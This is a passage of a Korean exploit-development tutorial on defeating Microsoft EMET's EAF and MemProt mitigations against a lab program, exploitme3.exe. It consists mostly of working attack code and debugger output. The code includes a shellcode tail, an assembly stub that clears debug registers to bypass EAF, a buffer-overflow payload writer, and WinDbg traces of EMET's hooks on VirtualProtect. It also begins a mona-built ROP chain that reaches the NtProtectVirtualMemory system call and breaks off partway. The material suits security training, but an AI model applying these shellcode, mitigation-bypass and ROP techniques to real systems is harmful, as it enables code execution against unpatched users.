            "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
            "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
            "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
            "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
            "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
            "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
            "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
            "\x30\x03\xc6\xeb\xdd")
        disable_EAF = (
            "\xB8\x50\x01\x00\x00" +            # mov    eax,150h
            "\x33\xC9" +                        # xor    ecx,ecx
            "\x81\xEC\xCC\x02\x00\x00" +        # sub    esp,2CCh
            "\xC7\x04\x24\x10\x00\x01\x00" +    # mov    dword ptr [esp],10010h
            "\x89\x4C\x24\x04" +                # mov    dword ptr [esp+4],ecx
            "\x89\x4C\x24\x08" +                # mov    dword ptr [esp+8],ecx
            "\x89\x4C\x24\x0C" +                # mov    dword ptr [esp+0Ch],ecx
            "\x89\x4C\x24\x10" +                # mov    dword ptr [esp+10h],ecx
            "\x89\x4C\x24\x14" +                # mov    dword ptr [esp+14h],ecx
            "\x89\x4C\x24\x18" +                # mov    dword ptr [esp+18h],ecx
            "\x54" +                            # push   esp
            "\x6A\xFE" +                        # push   0FFFFFFFEh
            "\x8B\xD4" +                        # mov    edx,esp
            "\x64\xFF\x15\xC0\x00\x00\x00" +    # call   dword ptr fs:[0C0h]
            "\x81\xC4\xD8\x02\x00\x00"          # add    esp,2D8h
        )
        code = disable_EAF + shellcode
        name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
        f.write(name)
 
write_file(r'c:\deleteme\name.dat')
cs


이제 exploitme3.exe를 실행하면 계산기가 떠진 것을 확인할 수 있습니다! 우리는 EAF를 우회했습니다! 또한 EAF+를 활성화 시켜도 별 다른게 없기 때문에 가능합니다.



MemProt


우리는 익스플로잇 코드에서 쉘코드를 가지고 있는 스택 실행 권한을 위해 VirtualProtect를 사용했습니다. MemProt은 이에 대한 완벽한 보호 기법입니다. exploitme3.exe에 대해 이 보호 기법을 활성화 시켜 봅시다. 그리고 exploitme3.exe를 실행하면 MemProt이 우리의 익스플로잇을 멈추고 충돌을 발생시킵니다.

 

WinDbg를 통해 어떤 일이 발생되고 있는지 살펴보도록 합시다. 먼저 WinDbg에서 exploitme3.exe를 열고 exploitme3!f breakpoint를 걸어 둡니다. 함수 f까지 간 후, ret 명령 이후에 ROP 코드를 만날 것입니다. VirtualProtect로 점프할 때까지 계속 진행합니다.

 

그러면 뭔가 이상한 것을 볼 수 있습니다.


kernel32!VirtualProtectStub:

763b4327 e984c1b5c0      jmp     36f104b0     <------------------ is this a hook?

763b432c 5d              pop     ebp

763b432d e996cdffff      jmp     kernel32!VirtualProtect (763b10c8)

763b4332 8b0e            mov     ecx,dword ptr [esi]

763b4334 8908            mov     dword ptr [eax],ecx

763b4336 8b4e04          mov     ecx,dword ptr [esi+4]

763b4339 894804          mov     dword ptr [eax+4],ecx

763b433c e9e9eaffff      jmp     kernel32!LocalBaseRegEnumKey+0x292 (763b2e2a)

763b4341 8b85d0feffff    mov     eax,dword ptr [ebp-130h]


함수가 jmp 로 시작합니다! 이게 어디로 우리를 대려가는지 따라가봅시다.


36f104b0 83ec24          sub     esp,24h

36f104b3 68e88b1812      push    12188BE8h

36f104b8 6840208f70      push    offset EMET!EMETSendCert+0xac0 (708f2040)

36f104bd 68d604f136      push    36F104D6h

36f104c2 6804000000      push    4

36f104c7 53              push    ebx

36f104c8 60              pushad

36f104c9 54              push    esp

36f104ca e8816c9a39      call    EMET+0x27150 (708b7150)

36f104cf 61              popad

36f104d0 83c438          add     esp,38h

36f104d3 c21000          ret     10h


. EMET네요. EMET에 의해 jmp 로 훅(hook)을 걸어 VirtualProtect 호출을 가로챕니다.

 

만약 훅이 없다면 VirtualProtectStub kernel32!VirtualProtect를 호출하는지 살펴보도록 합시다. 먼저 아래 코드를 보시죠.


0:000> u kernel32!VirtualProtect

kernel32!VirtualProtect:

763b10c8 ff2518093b76    jmp     dword ptr [kernel32!_imp__VirtualProtect (763b0918)]

763b10ce 90              nop

763b10cf 90              nop

763b10d0 90              nop

763b10d1 90              nop

763b10d2 90              nop

kernel32!WriteProcessMemory:

763b10d3 ff251c093b76    jmp     dword ptr [kernel32!_imp__WriteProcessMemory (763b091c)]

763b10d9 90              nop


EMET와 관련없는 것 같습니다.


0:000> u poi(763b0918)

KERNELBASE!VirtualProtect:

7625efc3 e9d815cbc0      jmp     36f105a0     <----------------- another hook from EMET

7625efc8 ff7514          push    dword ptr [ebp+14h]

7625efcb ff7510          push    dword ptr [ebp+10h]

7625efce ff750c          push    dword ptr [ebp+0Ch]

7625efd1 ff7508          push    dword ptr [ebp+8]

7625efd4 6aff            push    0FFFFFFFFh

7625efd6 e8c1feffff      call    KERNELBASE!VirtualProtectEx (7625ee9c)

7625efdb 5d              pop     ebp


EMET 훅이 있습니다. VirtualProtect는 현재 프로세스에서 동작하는 반면에 VirtualProtectEx는 원하는 프로세스를 지정할 수 있습니다. 보시면 VirtualProtect VirtualProtectEx 호출 시, -1 값을 첫 번째 인자로 넘기는데 이 값은 GetCurrentProcess()의 반환 값입니다. 다른 인자들은 VirtualProtect에 넘어온 인자들과 동일합니다.

 

VirtualProtectEx를 살펴보도록 하겠습니다.


0:000> u KERNELBASE!VirtualProtectEx

KERNELBASE!VirtualProtectEx:

7625ee9c e97717cbc0      jmp     36f10618     <----------------- another hook from EMET

7625eea1 56              push    esi

7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]

7625eea8 57              push    edi

7625eea9 ff7518          push    dword ptr [ebp+18h]

7625eeac 8d4510          lea     eax,[ebp+10h]

7625eeaf ff7514          push    dword ptr [ebp+14h]

7625eeb2 50              push    eax

0:000> u

KERNELBASE!VirtualProtectEx+0x17:

7625eeb3 8d450c          lea     eax,[ebp+0Ch]

7625eeb6 50              push    eax

7625eeb7 ff7508          push    dword ptr [ebp+8]

7625eeba ffd6            call    esi      <------------------- calls NtProtectVirtualMemory

7625eebc 8bf8            mov     edi,eax

7625eebe 85ff            test    edi,edi

7625eec0 7c05            jl      KERNELBASE!VirtualProtectEx+0x2b (7625eec7)

7625eec2 33c0            xor     eax,eax


, EMET 훅입니다. VirtualProtectEx NtProtectVirtualMemory를 호출합니다.


0:000> u poi(KERNELBASE!_imp__NtProtectVirtualMemory)

ntdll!ZwProtectVirtualMemory:

76eb0038 e9530606c0      jmp     36f10690     <----------------- this is getting old...

76eb003d 33c9            xor     ecx,ecx

76eb003f 8d542404        lea     edx,[esp+4]

76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]

76eb004a 83c404          add     esp,4

76eb004d c21400          ret     14h

ntdll!ZwQuerySection:

76eb0050 b84e000000      mov     eax,4Eh

76eb0055 33c9            xor     ecx,ecx


이제 좀 익숙해보입니다. ZwProtectVirtualMemory ring 0 서비스 호출입니다! 이 서비스 번호는 EMET 훅에 의해 덮어 써지지만 다음 함수의 서비스 번호가 0x4E인걸 봐서 0x4d정도가 괜찮은 추측이 될 것 같습니다.

 

VirtualProtectEx의 다른 곳을 보시면, ZwProtectVirtualMemory VirtualProtectEx에 넘어온 인자들과 다른 형태의 인자를 EDX가 가리키고 있음을 볼 수 있습니다. 좀더 자세히 살펴보기 위해 MemProt을 비활성화 시키고 WinDbg에서 exploitme3.exe를 다시 실행 시켜 (Ctrl + Shift + F5) 아래 breakpoint걸어 봅니다.


bp exploitme3!f "bp KERNELBASE!VirtualProtectEx;g"


ROP chain에 의해 VirtualProtectEx를 호출 할 때 멈추게 됩니다. F5를 눌르면 다음과 같이 되게 됩니다.


KERNELBASE!VirtualProtectEx:

7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!

7625ee9e 55              push    ebp

7625ee9f 8bec            mov     ebp,esp

7625eea1 56              push    esi

7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]

7625eea8 57              push    edi

7625eea9 ff7518          push    dword ptr [ebp+18h]

7625eeac 8d4510          lea     eax,[ebp+10h]

7625eeaf ff7514          push    dword ptr [ebp+14h]

7625eeb2 50              push    eax

7625eeb3 8d450c          lea     eax,[ebp+0Ch]

7625eeb6 50              push    eax

7625eeb7 ff7508          push    dword ptr [ebp+8]

7625eeba ffd6            call    esi


이번에는 예상하셧다 시피, 훅은 없습니다. 이 스택에는 5개 인자가 존재합니다.



스택에 어떤 값이 있는지 살펴보도록 하겠습니다.


KERNELBASE!VirtualProtectEx:

7625ee9c 8bff            mov     edi,edi      <-------------------- we are here!

7625ee9e 55              push    ebp

7625ee9f 8bec            mov     ebp,esp

7625eea1 56              push    esi

7625eea2 8b35c0112576    mov     esi,dword ptr [KERNELBASE!_imp__NtProtectVirtualMemory (762511c0)]

7625eea8 57              push    edi

7625eea9 ff7518          push    dword ptr [ebp+18h]      // lpflOldProtect (writable location)

7625eeac 8d4510          lea     eax,[ebp+10h]

7625eeaf ff7514          push    dword ptr [ebp+14h]      // PAGE_EXECUTE_READWRITE

7625eeb2 50              push    eax                      // ptr to size

7625eeb3 8d450c          lea     eax,[ebp+0Ch]

7625eeb6 50              push    eax                      // ptr to address

7625eeb7 ff7508          push    dword ptr [ebp+8]        // 0xffffffff (current process)

7625eeba ffd6            call    esi

호출 내부로 들어가보도록 하겠습니다.


ntdll!ZwProtectVirtualMemory:

76eb0038 b84d000000      mov     eax,4Dh

76eb003d 33c9            xor     ecx,ecx

76eb003f 8d542404        lea     edx,[esp+4]

76eb0043 64ff15c0000000  call    dword ptr fs:[0C0h]

76eb004a 83c404          add     esp,4

76eb004d c21400          ret     14h


EDX는 다음 순서대로 5개 인자를 가리키고 있습니다.


0xffffffff (current process)

ptr to address

ptr to size

PAGE_EXECUTE_READWRITE

lpflOldProtect (writable location)


아래는 구체적인 예 입니다.



동작하지 않을 수도 있는 ROP chain을 만드느라 시간을 소모하기 전에, 먼저 우리가 고려하지 못한 다른것이 없도록 명확해야 합니다.

 

이를 쉽게 하기 위해 MemProt을 활성화 시키고 exploitme3.exe를 디버깅 한 뒤, EMET의에 원본 코드로 덮어 씁니다. 동작이 잘 진행 되었다면 이제 진행할 준비가 되었습니다. 이 부분은 숙제로 남겨두도록 하죠. (꼭 해보세요!!)



ROP chain 만들기


디버그 레지스터를 초기화 하기 위해 우리가 했던 방식으로 커널 서비스를 호출 할 수 있지만, 이번에는 ROP 가젯으로 해야 하기 때문에 훨씬 더 어려울 것입니다.

 

문제는 msvcr120.dll에는 어떤 call dword ptr fs:[0C0h] call fs:[eax], call fs:eax 같은 것들이 없다는 것입니다. ntdll에는 이런 것들이 많은데 그러면 이런 명령어들의 주소를 얻을 수 있는 방법이 있을까요?

 

msvcr120.dll IAT (Import Address Table)을 보면 다음과 같습니다.


0:000> !dh msvcr120


File Type: DLL

FILE HEADER VALUES

     14C machine (i386)

       5 number of sections

524F7CE6 time date stamp Sat Oct 05 04:43:50 2013


       0 file pointer to symbol table

       0 number of symbols

      E0 size of optional header

    2122 characteristics

            Executable

            App can handle >2gb addresses

            32 bit word machine

            DLL


OPTIONAL HEADER VALUES

     10B magic #

   12.00 linker version

   DC200 size of code

    DC00 size of initialized data

       0 size of uninitialized data

   11A44 address of entry point

    1000 base of code

         ----- new -----

73c60000 image base

    1000 section alignment

     200 file alignment

       2 subsystem (Windows GUI)

    6.00 operating system version

   10.00 image version

    6.00 subsystem version

   EE000 size of image

     400 size of headers

   FB320 checksum

00100000 size of stack reserve

00001000 size of stack commit

00100000 size of heap reserve

00001000 size of heap commit

     140  DLL characteristics

            Dynamic base

            NX compatible

    1860 [    CED0] address [size] of Export Directory

   E52BC [      28] address [size] of Import Directory

   E7000 [     3E8] address [size] of Resource Directory

       0 [       0] address [size] of Exception Directory

   E9200 [    3EA0] address [size] of Security Directory

   E8000 [    5D64] address [size] of Base Relocation Directory

   DD140 [      38] address [size] of Debug Directory

       0 [       0] address [size] of Description Directory

       0 [       0] address [size] of Special Directory

       0 [       0] address [size] of Thread Storage Directory

   19E48 [      40] address [size] of Load Configuration Directory

       0 [       0] address [size] of Bound Import Directory

   E5000 [     2BC] address [size] of Import Address Table Directory    <------------------------

       0 [       0] address [size] of Delay Import Directory

       0 [       0] address [size] of COR20 Header Directory

       0 [       0] address [size] of Reserved Directory


[...]


0:000> dds msvcr120+E5000 L 2bc/4

73d45000  76ed107b ntdll!RtlEncodePointer

73d45004  76ec9dd5 ntdll!RtlDecodePointer

73d45008  763b586e kernel32!RaiseExceptionStub

73d4500c  763b11c0 kernel32!GetLastErrorStub

73d45010  763b79d8 kernel32!FSPErrorMessages::CMessageMapper::StaticCleanup+0xc

73d45014  763b3470 kernel32!GetModuleHandleWStub

73d45018  763b4a37 kernel32!GetModuleHandleExWStub

73d4501c  763b1222 kernel32!GetProcAddressStub

73d45020  76434611 kernel32!AreFileApisANSIStub

73d45024  763b18fa kernel32!MultiByteToWideCharStub

73d45028  763b16d9 kernel32!WideCharToMultiByteStub

73d4502c  763b5169 kernel32!GetCommandLineAStub

73d45030  763b51eb kernel32!GetCommandLineWStub

73d45034  763b1420 kernel32!GetCurrentThreadIdStub

73d45038  76eb22c0 ntdll!RtlEnterCriticalSection

73d4503c  76eb2280 ntdll!RtlLeaveCriticalSection

73d45040  76ec4625 ntdll!RtlDeleteCriticalSection

73d45044  763b1481 kernel32!GetModuleFileNameAStub

73d45048  763b11a9 kernel32!SetLastError

73d4504c  763b17b8 kernel32!GetCurrentThreadStub

73d45050  763b4918 kernel32!GetModuleFileNameWStub

73d45054  763b51fd kernel32!IsProcessorFeaturePresent

73d45058  763b517b kernel32!GetStdHandleStub

73d4505c  763b1282 kernel32!WriteFileImplementation

73d45060  763b440a kernel32!FindCloseStub

73d45064  764347bf kernel32!FindFirstFileExAStub

73d45068  763dd52e kernel32!FindNextFileAStub

73d4506c  763c17d9 kernel32!FindFirstFileExWStub

73d45070  763b54b6 kernel32!FindNextFileWStub

73d45074  763b13e0 kernel32!CloseHandleImplementation

73d45078  763b3495 kernel32!CreateThreadStub

73d4507c  76ee801c ntdll!RtlExitUserThread

73d45080  763b43b7 kernel32!ResumeThreadStub

73d45084  763b4925 kernel32!LoadLibraryExWStub

73d45088  763d0622 kernel32!SystemTimeToTzSpecificLocalTimeStub

73d4508c  763b53f4 kernel32!FileTimeToSystemTimeStub

73d45090  7643487f kernel32!GetDiskFreeSpaceAStub

73d45094  763b5339 kernel32!GetLogicalDrivesStub

73d45098  763b1acc kernel32!SetErrorModeStub

73d4509c  764256f0 kernel32!BeepImplementation

73d450a0  763b10ff kernel32!SleepStub

73d450a4  763be289 kernel32!GetFullPathNameAStub

73d450a8  763b11f8 kernel32!GetCurrentProcessIdStub

73d450ac  763b453c kernel32!GetFileAttributesExWStub

73d450b0  763cd4c7 kernel32!SetFileAttributesWStub

73d450b4  763b409c kernel32!GetFullPathNameWStub

73d450b8  763b4221 kernel32!CreateDirectoryWStub

73d450bc  763c9b05 kernel32!MoveFileExW

73d450c0  76434a0f kernel32!RemoveDirectoryWStub

73d450c4  763b4153 kernel32!GetDriveTypeWStub

73d450c8  763b897b kernel32!DeleteFileWStub

73d450cc  763be2f9 kernel32!SetEnvironmentVariableAStub

73d450d0  763c17fc kernel32!SetCurrentDirectoryAStub

73d450d4  763dd4e6 kernel32!GetCurrentDirectoryAStub

73d450d8  763c1228 kernel32!SetCurrentDirectoryWStub

73d450dc  763b55d9 kernel32!GetCurrentDirectoryWStub

73d450e0  763b89b9 kernel32!SetEnvironmentVariableWStub

73d450e4  763b1136 kernel32!WaitForSingleObject

73d450e8  763c1715 kernel32!GetExitCodeProcessImplementation

73d450ec  763b1072 kernel32!CreateProcessA

73d450f0  763b3488 kernel32!FreeLibraryStub

73d450f4  763b48db kernel32!LoadLibraryExAStub

73d450f8  763b103d kernel32!CreateProcessW

73d450fc  763b3e93 kernel32!ReadFileImplementation

73d45100  763d273c kernel32!GetTempPathA

73d45104  763cd4ac kernel32!GetTempPathW

73d45108  763b1852 kernel32!DuplicateHandleImplementation

73d4510c  763b17d5 kernel32!GetCurrentProcessStub

73d45110  763b34c9 kernel32!GetSystemTimeAsFileTimeStub

73d45114  763b4622 kernel32!GetTimeZoneInformationStub

73d45118  763b5a6e kernel32!GetLocalTimeStub

73d4511c  763dd4fe kernel32!LocalFileTimeToFileTimeStub

73d45120  763cec8b kernel32!SetFileTimeStub

73d45124  763b5a46 kernel32!SystemTimeToFileTimeStub

73d45128  76434a6f kernel32!SetLocalTimeStub

73d4512c  76ec47a0 ntdll!RtlInterlockedPopEntrySList

73d45130  76ec27b5 ntdll!RtlInterlockedFlushSList

73d45134  76ec474c ntdll!RtlQueryDepthSList

73d45138  76ec4787 ntdll!RtlInterlockedPushEntrySList

73d4513c  763db000 kernel32!CreateTimerQueueStub

73d45140  763b1691 kernel32!SetEventStub

73d45144  763b1151 kernel32!WaitForSingleObjectExImplementation

73d45148  7643ebeb kernel32!UnregisterWait

73d4514c  763b11e0 kernel32!TlsGetValueStub

73d45150  763cf874 kernel32!SignalObjectAndWait

73d45154  763b14cb kernel32!TlsSetValueStub

73d45158  763b327b kernel32!SetThreadPriorityStub

73d4515c  7643462b kernel32!ChangeTimerQueueTimerStub

73d45160  763cf7bb kernel32!CreateTimerQueueTimerStub

73d45164  76432482 kernel32!GetNumaHighestNodeNumber

73d45168  763dcaf5 kernel32!RegisterWaitForSingleObject

73d4516c  76434ca1 kernel32!GetLogicalProcessorInformationStub

73d45170  763ccd9d kernel32!RtlCaptureStackBackTraceStub

73d45174  763b4387 kernel32!GetThreadPriorityStub

73d45178  763ba839 kernel32!GetProcessAffinityMask

73d4517c  763d0570 kernel32!SetThreadAffinityMask

73d45180  763b4975 kernel32!TlsAllocStub

73d45184  763cf7a3 kernel32!DeleteTimerQueueTimerStub

73d45188  763b3547 kernel32!TlsFreeStub

73d4518c  763cefbc kernel32!SwitchToThreadStub

73d45190  76ec2540 ntdll!RtlTryEnterCriticalSection

73d45194  7643347c kernel32!SetProcessAffinityMask

73d45198  763b183a kernel32!VirtualFreeStub

73d4519c  763b1ab1 kernel32!GetVersionExWStub

73d451a0  763b1822 kernel32!VirtualAllocStub

73d451a4  763b4327 kernel32!VirtualProtectStub

73d451a8  76ec9514 ntdll!RtlInitializeSListHead

73d451ac  763cd37b kernel32!ReleaseSemaphoreStub

73d451b0  763db901 kernel32!UnregisterWaitExStub

73d451b4  763b48f3 kernel32!LoadLibraryW

73d451b8  763dd1c4 kernel32!OutputDebugStringWStub

73d451bc  763cd552 kernel32!FreeLibraryAndExitThreadStub

73d451c0  763b1245 kernel32!GetModuleHandleAStub

73d451c4  7643592b kernel32!GetThreadTimes

73d451c8  763b180a kernel32!CreateEventWStub

73d451cc  763b1912 kernel32!GetStringTypeWStub

73d451d0  763b445b kernel32!IsValidCodePageStub

73d451d4  763b1768 kernel32!GetACPStub

73d451d8  763dd191 kernel32!GetOEMCPStub

73d451dc  763b5151 kernel32!GetCPInfoStub

73d451e0  763dd1b3 kernel32!RtlUnwindStub

73d451e4  763b1499 kernel32!HeapFree

73d451e8  76ebe046 ntdll!RtlAllocateHeap

73d451ec  763b14b9 kernel32!GetProcessHeapStub

73d451f0  76ed2561 ntdll!RtlReAllocateHeap

73d451f4  76ec304a ntdll!RtlSizeHeap

73d451f8  7643493f kernel32!HeapQueryInformationStub

73d451fc  763cb153 kernel32!HeapValidateStub

73d45200  763b46df kernel32!HeapCompactStub

73d45204  7643496f kernel32!HeapWalkStub

73d45208  763b4992 kernel32!GetSystemInfoStub

73d4520c  763b4422 kernel32!VirtualQueryStub

73d45210  763b34f1 kernel32!GetFileTypeImplementation

73d45214  763b4d08 kernel32!GetStartupInfoWStub

73d45218  763be266 kernel32!FileTimeToLocalFileTimeStub

73d4521c  763b5376 kernel32!GetFileInformationByHandleStub

73d45220  76434d61 kernel32!PeekNamedPipeStub

73d45224  763b3f1c kernel32!CreateFileWImplementation

73d45228  763b1328 kernel32!GetConsoleMode

73d4522c  764578d2 kernel32!ReadConsoleW

73d45230  76458137 kernel32!GetConsoleCP

73d45234  763cc7df kernel32!SetFilePointerExStub

73d45238  763b4663 kernel32!FlushFileBuffersImplementation

73d4523c  7643469b kernel32!CreatePipeStub

73d45240  76434a8f kernel32!SetStdHandleStub

73d45244  76457e77 kernel32!GetNumberOfConsoleInputEvents

73d45248  76457445 kernel32!PeekConsoleInputA

73d4524c  7645748b kernel32!ReadConsoleInputA

73d45250  763ca755 kernel32!SetConsoleMode

73d45254  764574ae kernel32!ReadConsoleInputW

73d45258  763d7a92 kernel32!WriteConsoleW

73d4525c  763cce06 kernel32!SetEndOfFileStub

73d45260  763dd56c kernel32!LockFileExStub

73d45264  763dd584 kernel32!UnlockFileExStub

73d45268  763b4a25 kernel32!IsDebuggerPresentStub

73d4526c  763d76f7 kernel32!UnhandledExceptionFilter

73d45270  763b8791 kernel32!SetUnhandledExceptionFilter

73d45274  763b18e2 kernel32!InitializeCriticalSectionAndSpinCountStub

73d45278  763cd7d2 kernel32!TerminateProcessStub

73d4527c  763b110c kernel32!GetTickCountStub

73d45280  763cca32 kernel32!CreateSemaphoreW

73d45284  763b89d1 kernel32!SetConsoleCtrlHandler

73d45288  763b16f1 kernel32!QueryPerformanceCounterStub

73d4528c  763b51ab kernel32!GetEnvironmentStringsWStub

73d45290  763b5193 kernel32!FreeEnvironmentStringsWStub

73d45294  763d34a7 kernel32!GetDateFormatW

73d45298  763cf451 kernel32!GetTimeFormatW

73d4529c  763b3b8a kernel32!CompareStringWStub

73d452a0  763b1785 kernel32!LCMapStringWStub

73d452a4  763b3c02 kernel32!GetLocaleInfoWStub

73d452a8  763cce1e kernel32!IsValidLocaleStub

73d452ac  763b3d65 kernel32!GetUserDefaultLCIDStub

73d452b0  7643479f kernel32!EnumSystemLocalesWStub

73d452b4  763db297 kernel32!OutputDebugStringAStub

73d452b8  00000000


저는 ntdll 함수들 하나 하나 찾아 가면서 가능성 있는 후보를 하나 찾았습니다. (ntdll!RtlExitUserThread)

 

한 번 살펴보도록 하죠.


ntdll!RtlExitUserThread:

76ee801c 8bff            mov     edi,edi

76ee801e 55              push    ebp

76ee801f 8bec            mov     ebp,esp

76ee8021 51              push    ecx

76ee8022 56              push    esi

76ee8023 33f6            xor     esi,esi

76ee8025 56              push    esi

76ee8026 6a04            push    4

76ee8028 8d45fc          lea     eax,[ebp-4]

76ee802b 50              push    eax

76ee802c 6a0c            push    0Ch

76ee802e 6afe            push    0FFFFFFFEh

76ee8030 8975fc          mov     dword ptr [ebp-4],esi

76ee8033 e8d07bfcff      call    ntdll!NtQueryInformationThread (76eafc08)      <-------------------


이제 ntdll!NtQueryInformationThread를 살펴 보도록 하죠.


ntdll!NtQueryInformationThread:

76eafc08 b822000000      mov     eax,22h

76eafc0d 33c9            xor     ecx,ecx

76eafc0f 8d542404        lea     edx,[esp+4]

76eafc13 64ff15c0000000  call    dword ptr fs:[0C0h]

76eafc1a 83c404          add     esp,4

76eafc1d c21400          ret     14h


완벽합니다! 근데 어떻게 call dword tpr fs:[0C0h]의 주소를 결정할 수 있을까요?

 

우리는 msvcr120 IAT에 있는 고정된 RVA를 이용하여 ntdll!RtlExitUserThread주소를 알 수 있습니다. ntdll!RtlExitUserThread+0x17 주소에서 우리는 ntdll!NtQueryInformationThread를 호출합니다. 호출 형태는 다음과 같습니다.


here:

  E8 offset


그리고 목적 주소는 다음과 같습니다.


here + offset + 5


ROP 에서 ntdll!NtQueryInformationThread의 주소를 결정하기 위해 다음과 같이 합니다.


EAX = 0x7056507c          ; ptr to address of ntdll!RtlExitUserThread (IAT)

EAX = [EAX]               ; address of ntdll!RtlExitUserThread

EAX += 0x18               ; address of "offset" component of call to ntdll!NtQueryInformationThread

EAX += [EAX] + 4          ; address of ntdll!NtQueryInformationThread

EAX += 0xb                ; address of "call dword ptr fs:[0C0h] # add esp,4 # ret 14h"


이제 ROP chain을 만들 준비가 되었습니다! 항상 그랫듯 mona를 이용합니다.


.load pykd.pyd

!py mona rop -m msvcr120


아래는 파이썬 스크립트 전체 코드 입니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import struct
 
msvcr120 = 0x73c60000
 
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
 
 
def create_rop_chain(code_size):
    rop_gadgets = [
        # ecx = esp
        md + 0x704af28c,     # POP ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xffffffff,
        md + 0x70532761,     # AND ECX,ESP # RETN    ** [MSVCR120.dll] **   |  asciiprint,ascii {PAGE_EXECUTE_READ}
 
        # ecx = args+8 (&endAddress)
        md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        75*4,
        md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
 
        # address = ptr to address
        md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # ecx = args+4 (ptr to &address)
        md + 0x704f4681,     # POP EBX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0xfffffff0,
        md + 0x7054b28e,     # ADD ECX,EBX # POP EBP # OR AL,0D9 # INC EBP # OR AL,5D # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
 
        # &address = ptr to address
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # ecx = args+8 (ptr to &size)
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x705370e0,     # INC ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # edx = ptr to size
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x704e4ffe,     # INC EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # &size = ptr to size
        md + 0x704e986b,     # MOV DWORD PTR [ECX],EDX # POP EBP # RETN 0x04    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7048f607,     # RETN (ROP NOP) [MSVCR120.dll]
        0x11111111,          # for RETN 0x04
 
        # edx = args
        md + 0x704f2487,     # MOV EAX,ECX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x7053fe65,     # SUB EAX,2 # POP EBP # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
        0x11111111,
        md + 0x704846b4,     # XCHG EAX,EDX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
 
        # EAX = ntdll!RtlExitUserThread
        md + 0x7053b8fb,     # POP EAX # RETN    ** [MSVCR120.dll] **   |   {PAGE_EXECUTE_READ}
